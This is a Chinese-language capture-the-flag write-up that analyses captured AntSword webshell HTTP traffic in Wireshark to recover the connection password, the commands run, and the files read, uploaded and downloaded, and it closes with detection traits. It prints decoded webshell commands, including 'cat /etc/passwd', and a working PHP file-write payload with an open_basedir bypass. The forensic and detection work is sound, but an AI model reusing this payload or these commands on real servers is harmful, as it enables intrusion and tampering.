流量特征分析-蚁剑流量分析

任务：

木马的连接密码是多少

这是分析蚁剑流量，可能是网站的，wireshark过滤http

追踪流http得到

1就是连接密码

flag{1}

黑客执行的第一个命令是什么

取最后的执行命令。base64解密得

除了id不是蚁剑自带的命令，其他的都是，所以

flag{id}

黑客读取了哪个文件的内容，提交文件绝对路径

依次读取不同的流。

读到第二个流的时候。

读取了/etc/passwd

flag{/etc/passwd}

黑客上传了什么文件到服务器，提交文件名

将6个蚁剑webshell木马的请求内容全部解码，得到：

0、cd "/var/www/html";id;echo e124bc;pwd;echo 43523
1、cd "/var/www/html";ls;echo e124bc;pwd;echo 43523
2、cd "/var/www/html";cat /etc/passwd;echo e124bc;pwd;echo 43523
3、/var/www/html/flag.txt
4、/var/www/html/
5、/var/www/html/config.php

其中第1个请求和第4个请求都是打印文件清单，因此可通过对比两个文件清单的差异，来判断黑客增删的文件。

发现多了个flag.txt文件。

黑客上传的文件内容是什么

第三个估计就是上传东西到flag.txt里面，所以进行url解码。url解码之后进行js美化

1 = @ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        };
        $tmdir = $item.
        "/.368479785";
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        };
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    };
};;

function asenc($out) {
    return $out;
};

function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "6960".
    "cb205";
    echo @asenc($output);
    echo "1e0a".
    "91914";
}
ob_start();
try {
    $f = base64_decode(substr($_POST["t41ffbc5fb0c04"], 2));
    $c = $_POST["ld807e7193493d"];
    $c = str_replace("\r", "", $c);
    $c = str_replace("\n", "", $c);
    $buf = "";
    for ($i = 0; $i < strlen($c); $i += 2) $buf. = urldecode("%".substr($c, $i, 2));
    echo(@fwrite(fopen($f, "a"), $buf) ? "1" : "0");;
} catch (Exception $e) {
    echo "ERROR://".$e - > getMessage();
};
asoutput();
die(); & ld807e7193493d = 666 C61677B77726974655F666C61677D0A & t41ffbc5fb0c04 = 0 ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA ==

ld807e7193493d = 666 C61677B77726974655F666C61677D0A & t41ffbc5fb0c04 = 0 ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA ==

最后那行拿出来解码

得出上传的内容是：

flag{write_flag}

黑客下载了哪个文件，提交文件绝对路径

第四点的时候我们已经得出黑客下载了config.php文件

flag{/var/www/html/config.php}

总结-蚁剑明显流量特征

1、使用URL编解码；

2、每个数据包前面都会包含@ini_set(“display_errors”, “0”);@set_time_limit(0);这两个语句；

3、响应包都是明文。